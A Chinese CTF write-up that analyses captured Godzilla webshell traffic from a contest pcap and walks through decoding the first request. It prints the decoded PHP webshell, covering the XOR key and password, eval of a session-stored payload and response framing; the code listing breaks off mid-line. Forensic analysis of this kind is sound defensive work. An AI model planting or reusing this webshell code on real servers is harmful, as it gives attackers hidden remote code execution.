当前位置: 首页 > news >正文

2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析

2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析

一、流量分析

题目没有任何提示,附件gzl.pcap
在这里插入图片描述

解题哥斯拉流量300多KB包很多,没啥经验只能挨个看回来之后又狠狠得撸了一把哥斯拉流量分析我这里用的是哥斯拉4.0.1

在这里插入图片描述
在这里插入图片描述

测试链接这里发了两个包,我们进行分析

1、第一个请求包

哥斯拉将payload进行了base64编码,并且将编码后的内容做了字符串反转,我们echo进行还原
在这里插入图片描述

<?php
// 安全增强设置
@session_start();             // 启动会话存储(用于保存Payload)
@set_time_limit(0);           // 取消脚本执行时间限制
@error_reporting(0);          // 禁用错误报告(避免泄露信息)/*** 核心加密/解密函数(使用XOR算法)* @param string $D 待处理数据* @param string $K 16字节密钥* @return string 处理后的数据*/
function encode($D, $K) {for ($i = 0; $i < strlen($D); $i++) {$c = $K[$i + 1 & 15];  // 循环使用密钥字符(i+1 mod 16)$D[$i] = $D[$i] ^ $c;  // 逐字节异或操作}return $D;
}// 配置参数
$pass = 'thisiskey';          // 通信密码(POST参数名)
$payloadName = 'payload';     // 会话中存储的Payload名称
$key = '144a6b2296333602';   // 16字节异或密钥(与客户端一致)// 主逻辑:处理客户端请求
if (isset($_POST[$pass])) {// 1. 解码客户端发送的数据$data = encode(base64_decode($_POST[$pass]), $key);// 2. 检查是否已加载Payloadif (isset($_SESSION[$payloadName])) {// 2.1 获取已存储的Payload并解密$payload = encode($_SESSION[$payloadName], $key);// 2.2 特殊处理:如果不是初始Payload(包含getBasicsInfo),需要二次解密if (strpos($payload, "getBasicsInfo") === false) {$payload = encode($payload, $key);}// 2.3 执行Payload(通常是PHP后门核心代码)eval($payload);// 2.4 生成响应包:前缀+加密结果+后缀echo substr(md5($pass.$key), 0, 16);           // 前缀:MD5前16字节echo base64_encode(encode(@run($data), $key)); // 加密响应数据echo substr(md5($pass.$key

相关文章:

  • 06.概念二:神经网络
  • 阿里云云效对接SDK获取流水线制品
  • mock库知识笔记(持续更新)
  • ⚡ Linux 系统安装与配置 Vim 编辑器(包括 Vim 插件管理器)
  • 【OSS】 前端如何直接上传到OSS 上返回https链接,如果做到OSS图片资源加密访问
  • VTK|Z轴拉伸功能的实现
  • maven项目编译时复制xml到classes目录方案
  • 2025-05-28 Python-List-二分法
  • 第一节 51单片机概述
  • 班级管理系统
  • vue 如何对 div 标签 设置assets内本地背景图片
  • 【网络安全】——Modbus协议详解:工业通信的“通用语言”
  • Spring AI 1.0 GA 深度解析:构建企业级AI应用的全栈实践指南
  • Linux 常用命令 -md5sum【计算和校验文件的MD5哈希值】
  • Xamarin入门笔记(Xamarin已经被MAUI取代)
  • 模型量化知识
  • 【数据库系列】bulk_save_objects 与 bulk_insert_mappings 对比
  • 利用openwrt路由器和随身WIFI搭建CPE
  • 使用 Unsloth 快速微调 LLMs 实用指南
  • 【机器学习基础】机器学习入门核心算法:隐马尔可夫模型 (HMM)
  • 如何做网站优化 纯外链/全网推广公司
  • 软件开发平台搭建/优化关键词技巧
  • 收费小说网站怎么做/注册教育培训机构需要什么条件
  • 宜家有做自己的网站吗/网站建设百度推广
  • 常规网站建设价格实惠/搜狗指数
  • 兰州400电话网站建设/2022搜索引擎